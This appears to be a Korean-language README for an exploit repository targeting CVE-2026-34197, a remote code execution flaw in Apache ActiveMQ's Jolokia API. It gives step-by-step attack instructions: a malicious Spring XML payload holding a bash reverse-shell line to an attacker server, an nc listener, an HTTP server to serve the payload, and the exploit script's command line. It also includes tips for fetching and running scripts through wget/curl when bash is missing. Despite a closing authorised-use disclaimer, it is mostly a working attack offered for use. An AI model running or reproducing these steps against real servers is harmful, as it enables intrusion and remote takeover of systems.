
CVE-2026-34197용 익스플로잇 스크립트로, Apache ActiveMQ의 Jolokia API를 대상으로 악성 Spring XML 구성을 통해 원격 코드 실행을 달성하며, 리버스 셸 기능을 포함합니다.
이 저장소는 Apache ActiveMQ에 노출된 Jolokia API 인터페이스(/api/jolokia/)를 기반으로 한 원격 코드 실행(RCE) 취약점 재현 환경과 공격 스크립트를 제공합니다.
addNetworkConnector 작업을 호출하여 ActiveMQ가 악의적으로 구성된 원격 Spring XML 설정 파일을 강제로 파싱하도록 하여 MethodInvokingFactoryBean을 통해 시스템 명령을 실행합니다.
payload.py: 동적 Broker 이름을 포함한 HTTP POST 요청을 전송하는 주요 공격 스크립트.payload.xml: 리버스 셸 명령 페이로드가 포함된 악성 Spring Bean 설정 파일.pip install requests
apache/activemq-classic:6.1.0 Docker 이미지).payload.xml)공격 머신에서 payload.xml을 열고 다음 부분을 찾습니다:
<value>bash -c 'bash -i >& /dev/tcp/您的云服务器IP/15000 0>&1'</value>
해당 IP를 클라우드 서버의 공인 IP로 변경합니다. 대상 환경에 bash가 없는 경우, 대상 환경에 맞게 sh 또는 다른 실행 방식으로 변경합니다.
공격 머신(클라우드 서버)에서 터미널을 열고 지정된 포트(예: 15000)를 수신 대기합니다:
nc -lvvp 15000
참고: 클라우드 서버의 보안 그룹/방화벽에서 인바운드 TCP 15000 포트를 허용했는지 확인하세요.
공격 머신에서(payload.xml과 같은 디렉터리), 대상이 XML 파일을 다운로드할 수 있도록 HTTP 서버를 실행합니다:
python3 -m http.server 9000
참고: 마찬가지로 클라우드 서버의 보안 그룹/방화벽에서 인바운드 TCP 9000 포트를 허용했는지 확인하세요.
로컬 머신(또는 공격 머신)에서 payload.py를 실행합니다.
스크립트는 명령줄 인자를 통해 대상 ActiveMQ의 IP:포트(-t)와 공격 머신이 XML을 호스팅하는 IP:포트(-a)를 전달받습니다.
python payload.py -t 192.168.0.1:8161 -a 8.8.8.8:9000
실행 후, 스크립트는 java.io.IOException : Network Connector could not be registered in JMX 이름 충돌 오류를 완전히 해결하기 위해 임의의 brokerName(예: rce_a1b2c3)을 자동으로 생성합니다.
공격이 성공하면:
python3 -m http.server 9000)에서 /payload.xml에 대한 GET 200 요청 기록이 표시됩니다.nc 수신 터미널에서 대상 머신으로부터의 리버스 셸 연결을 수신합니다./bin/bash 명령이 없습니다(Alpine 등 경량 기본 이미지에서 흔함). payload.xml의 실행 명령을 /bin/sh로 변경하거나 wget/curl로 스크립트를 내려받아 실행하세요.admin:admin)를 추가합니다.이 스크립트와 설명은 승인된 보안 테스트 및 교육 목적으로만 사용됩니다. 승인되지 않은 불법 테스트에 사용하는 것을 엄격히 금지합니다. 사용자는 자신의 행동에 대한 책임을 져야 합니다.